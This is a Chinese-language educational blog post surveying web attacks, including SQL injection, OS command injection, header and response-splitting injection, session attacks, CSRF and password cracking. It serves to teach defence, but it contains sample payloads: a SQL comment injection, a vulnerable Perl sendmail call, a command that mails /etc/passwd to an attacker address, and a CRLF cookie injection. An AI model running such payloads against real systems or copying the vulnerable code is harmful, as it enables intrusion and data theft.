web————针对web的攻击技术

        在分析针对web的攻击前,先要明白http协议本身是不存在安全性问题的,就是说攻击者不会把它当作攻击的对象。而是应用了http协议的服务器或者客户端、以及运行在服务器的web应用资源才是攻击的目标。

        针对web应用的攻击,主要分为主动攻击和被动攻击两种攻击模式

              主动攻击:攻击者访问web应用,直接将攻击代码传入的攻击模式(要求攻击者必须有访问该资源的权限)。常见的主动攻击有SQL注入和OS命令注入

              被动攻击:与主动攻击不同,被动攻击不需要自己传入攻击代码,攻击者事先设置圈套并诱导合法用户执行攻击代码,从而带web应用进行攻击。被动攻击一般套路为:首先设置好陷阱并诱使合法用户去触发该陷阱从而启动攻击代码,此时用户自己是不知情的。中招之后,用户端的浏览器会把包含攻击代码的http请求发送给服务器端的web应用,攻击代码就会在web应用上得以执行。造成的影响是用户的cookie信息、个人登陆状态中的权限等被攻击者滥用。常见的被动攻击有跨站脚本攻击和跨站请求伪造。

              SQL攻击:SQL是用来操作关系型数据库管理系统(relation database management system)的数据库语言,可进行操作或定义数据。一般情况下web应用都会用到数据库,而对数据库进行操作如:检索、添加、删除时都会用到SQL语言,如果调用SQL语句的方式存在漏洞就会造成SQL。

              看看SQL注入实例:

                    SQL注入攻击分析:
    首先在浏览器地址框输入http://example.com/search?q=苍井空
在URL中查询字段指定的q=苍井空,该值由web传入到SQL语句时,其语句结构如下:
SELECT * FROM booktbl WHERE author = '苍井空' and flag = 1;
该语句表示在查询时满足author=苍井空 and flag=1时显示数据。
在SQL注入攻击中,把查询字段改为“苍井空'--”
此时语句在SQL查询时就变成:
SELECT * FROM booktbl WHERE author ='苍井空'--’and flag = 1;
也就是说,只要满足author=苍井空的数据都显示出来,'--'后面的将会被当做注释处理。也就是说
其他不想显示的信息都会被列出来了。在实际发生SQL注入攻击时,这就很可能导致一些私密信息如
用户信息、结算信息或其他数据表等被窃取。


OS注入攻击:
    OS命令注入攻击是指通过web应用,执行非法的操作系统命令达到攻击目的。只要能调用shell函数的地方就有OS攻击的风险。web应用在通过shell来调用操作系统命令,如果调用shell时村镇疏漏,就可以执行插入的非法OS命令。OS命令注入攻击可以向shell发送命令,让windows或linux操作系统的命令启动程序,也就是说通过OS注入攻击可执行OS上安装的各种程序:
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";
以上是处理表单内容的一部分核心代码,程序中的open函数调用sendmail命令发送邮件,地址为$adr,此时攻击者将邮件地址值设置为:; cat /etc/passwd | mail hack@example.jp,由于在OS命令中;号表示分隔多个执行命令,因此,程序会先执行cat /etc/passwd 然后将结果发至攻击者邮箱。结果,含有账户信息的/etc/passwd文件就以邮件形式发送给了攻击者。


http首部注入攻击
     http首部注入攻击是指攻击者通过在响应首部字段内添加任意响应首部或者主体的一种攻击,因此,攻击者就可以设置任何cookie信息、重定向至任意的URL。该攻击属于被动攻击:
     正常情况下,web应用有时会把从外部接收到的数值赋给响应首部字段location和set-cookie,也就是说,用户选定某个类别的ID值后,该ID值反映在响应内的location首部字段内,然后跳转至该类别对应的页面:
      Location: http://www.example.com/a.cgi?q=12345
      Set-Cookie: UID=12345


      *12345就是插入值
     如响应字段:location:http://example.com/?cat=100,此时被攻击者注入100%0D%0Aset-cookie:+SID=123456789,这段代码代替之前类别ID值后发送请求(%0D%0A代表http报文中的换行符),后面ID为攻击者会话ID此时结果返回如下响应:
      Location: http://www.example.com/?cat=100(%0A%0D:换行)
      Set-Cookie: SID=123456789
      此刻首部字段Set-Cookie已经生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户。攻击者输入的 %0D%0A,原本应该属于首部字段 Location 的查询值部分,但经过解析后,%0D%0A 变成了换行符,结果插入了新的首部字段。这样一来,攻击者可在响应中插入任意的首部字段。


http响应截断攻击
    HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同,但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做 HTTP 响应截断攻击。利用这个攻击,已触发陷阱的用户浏览器会显示伪造的 Web 页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果。
    滥用 HTTP/1.1 中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的 Web 网页


邮件首部注入攻击
    邮件首部注入(Mail Header Injection)是指 Web 应用中的邮件发送功能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。利用存在安全漏洞的 Web 网站,可对任意邮件地址发送广告邮件或病毒邮件。%0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的 Web 应用接收了这个换行符,就可能实现对 Bcc 邮件地址的追加发送,而这原本是无法指定的。另外像下面一样,使用两个连续的换行符就有可能篡改邮件文本内容并发送。再以相同的方法,就有可能改写 To 和 Subject 等任意邮件首部,或向文本添加附件等动作。


目录遍历攻击:
    目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历(Path Traversal)攻击。通过 Web 应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用 .../ 等相对路径定位到 /etc/passed 等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除 Web 服务器上的文件。固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。


不正确的错误消息处理:
    不正确的错误消息处理安全漏洞指web应用的错误信息内包含对攻击者有用的信息。如web应用抛出的错误消息、数据库等系统抛出的错误消息。
     例1:登陆某邮件服务器,输入错误的邮件地址时,web应用上会提示“邮件地址未注册”、“输入的密码错误”等信息,这也就暗示攻击者该邮件地址是存在的、注册过的。为了不让错误消息给攻击者以启发,建议将提示消息的内容仅保留到“认证错误”这种程度即可
     例2:有时开发者为了debug方便,在显示错误信息时显示信息较多,这对于用户而言毫无作用,但是对于攻击者来说可以启发。如可从某数据库错误提示信息看出该数据库是MYSQL,其中还有SQL语句片段。


开放重定向
    开放重定向(Open Redirect)是一种对指定的任意 URL 作重定向跳转的功能。而于此功能相关联的安全漏洞是指,假如指定的重定向 URL 到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网站


会话劫持
    会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有所疏忽,就会导致用户的认证状态被窃取。
    会话劫持是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成为用户达到攻击的目的。一般具备认证功能的web应用都会使用会话ID的会话管理机制,会话ID中记录客户端的cookie等信息,服务器将会话ID与认证状态进行一对一匹配管理。攻击者一般通过以下几种方式获得会话ID:通过非正规的生成方法推测会话ID、通过窃听或者XSS攻击盗取会话ID、通过会话固定攻击。
  会话劫持攻击:攻击者得知该web网站存在XSS安全漏洞后,用设置好的javascript脚本调用document.cookie以窃取cookie信息的陷阱,一旦用户踏入陷阱后,攻击者就获得含有会话ID的cookie,此时攻击者将自己浏览器中的cookie中设置该会话ID,伪装为合法用户访问web网站。


会话固定攻击
  对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话 ID,属于被动攻击。
  步骤:1,攻击者访问web网站拿到会话ID,此时会话ID在服务器上记录为未认证状态。攻击者设置强制用户使用该会话ID的陷阱,并等待用户拿这个会话ID前去认证,一旦用户触发陷阱并完成认证,此时在服务器端该会话ID就被记录为认证状态,此时攻击者再利用这个会话ID访问web网站。Session Adoption 是指 PHP 或 ASP.NET 能够接收处理未知会话 ID 的功能。恶意使用该功能便可跳过会话固定攻击的准备阶段,从 Web 网站 获得发行的会话 ID 的步骤。即,攻击者可私自创建会话 ID 构成陷阱,中间件却会误以为该会话 ID 是未知会话 ID 而接受




跨站请求伪造
  跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
  便于理解直接上一个例子:小A刚刚在网银上登陆并支付100块钱,小B设置好陷阱连接以图片形式放在某web站点上,小A浏览到该站点且点开了该图片。此时小A的浏览器有网银的cookie且还未过期,而小B的陷阱则是转账到小B账户,小A点开之后该连接直接请求网银,由于cookie未过期,网银服务端认为是小A操作,因此允许了该操作。小A账户被转走。




其他安全漏洞
密码破解:通过网络的密码试错、对已加密密码的破解
  通过网络的密码试错:穷举法、字典法。
    穷举法:穷举法(Brute-force Attack,又称暴力破解法)是指对所有密钥集合构成的密钥空间(Keyspace)进行穷举。即,用所有可行的候选密码对目标的密码系统试错,用以突破验证的一种攻。如银行采用的个人识别码是由“4 位数字”组成的密码,那么就要从 0000~9999 中的全部数字逐个进行尝试。这样一来,必定在候选的密码集合中存在一个正确的密码,可通过认证。因为穷举法会尝试所有的候选密码,所以是一种必然能够破解密码的攻击。但是,当密钥空间很庞大时,解密可能需要花费数年,甚至千年的时间,因此从现实角度考量,攻击是失败的。
    字典法:字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手法。
  对已加密密码的破解:Web 应用在保存密码时,一般不会直接以明文的方式保存,通过散列函数做散列处理或加 salt 的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据,如果想要真正使用这些密码,则必须先通过解码等手段,把加密处理的密码还原成明文形式。




点击劫持
  点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing)


Dos攻击
  DoS 攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS 攻击的对象不仅限于 Web 网站,还包括网络设备及服务器等。


后面程序
  后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值